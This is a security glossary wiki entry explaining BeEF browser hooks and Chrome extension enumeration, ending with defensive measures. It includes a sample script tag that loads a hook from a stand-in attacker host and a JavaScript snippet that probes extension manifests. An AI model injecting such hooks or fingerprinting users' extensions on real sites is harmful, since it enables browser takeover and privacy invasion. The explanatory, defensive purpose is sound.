BeEF Hook - secuguru/security-terms GitHub Wiki

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on browser vulnerabilities and client-side exploitation. It is often used to assess the security posture of web browsers and applications. A BeEF hook enables an attacker to control and manipulate a hooked browser remotely after the victim visits a malicious or compromised web page.

• Hook: The BeEF hook is a JavaScript payload that is injected into the victim’s browser.
• Once hooked, the browser connects back to the attacker’s BeEF server, allowing the attacker to execute commands and gather information.
• The hook is typically inserted:
  • By embedding a <script> tag into a compromised webpage.
  • Through XSS (Cross-Site Scripting) vulnerabilities.
  • Via social engineering (e.g., phishing pages).

<script src="http://attacker.com/hook.js"></script>

When the victim loads this script, the browser gets “hooked,” and the attacker gains control.

Once a browser is hooked using BeEF, the attacker can gather various details, including Chrome extension information. This is particularly concerning because browser extensions may contain sensitive data, such as:

• User data stored by the extensions.
• Extension names and IDs.
• Behavioral insights (e.g., installed security tools).

• BeEF uses JavaScript running in the context of the victim’s browser to enumerate the URLs and structure associated with Chrome extensions.

• Chrome extensions are installed in the browser and are typically loaded as a Chrome extension URL:
• Example of a Chrome extension URL:

chrome-extension://<extension-id>/<file-path>

1. The attacker uses the BeEF framework to inject code that attempts to load resources from common extension paths.
2. By observing errors or successful loads, the attacker can infer which extensions are installed.

Using BeEF, an attacker can leverage the “Get Chrome Extensions” module, which attempts to detect popular Chrome extensions by loading known resource paths.

var extensionIds = [
  "aapocclcgogkmnckokdopfmhonfmgoek", // Example extension ID
  "mhjfbmdgcfjbbpaeojofohoefgiehjai"  // Another example
];

extensionIds.forEach(function(id) {
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "chrome-extension://" + id + "/manifest.json", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
      if (xhr.status == 200) {
        console.log("Extension Found: " + id);
      }
    }
  };
  xhr.send();
});

1. The script checks known Chrome extension URLs (e.g., /manifest.json).
2. If the request succeeds (200 OK), it confirms the extension is installed.
3. The results are sent back to the BeEF control server.

• Privacy Concerns:
  • Extensions like password managers, ad blockers, and VPNs can be detected, compromising user privacy.
• Targeted Attacks:
  • Knowing which security extensions are installed allows attackers to craft targeted exploits.
• Security Bypasses:
  • Attackers can identify and disable security-focused extensions using further social engineering or browser vulnerabilities.

1. Avoid Untrusted Websites:

• Do not visit untrusted or malicious sites where the BeEF hook script could be embedded.

2. Secure Against XSS:

• Ensure web applications are free of XSS vulnerabilities to prevent BeEF hooks.

3. Limit Permissions for Extensions:

• Install extensions only from trusted sources and review their permissions.

4. Use Content Security Policy (CSP):

• A strict CSP can block untrusted scripts, including BeEF hooks.

5. Browser Security Tools:

• Use browser settings and extensions that restrict JavaScript execution on untrusted sites.

6. Monitor Browser Behavior:

• Regularly check for unusual network connections or JavaScript activity.

The BeEF hook is a powerful tool for browser exploitation, enabling attackers to enumerate Chrome extensions and gather critical information. By understanding how BeEF works and employing strong web security practices—like input sanitization, CSP policies, and careful use of extensions—users and developers can defend against these attacks.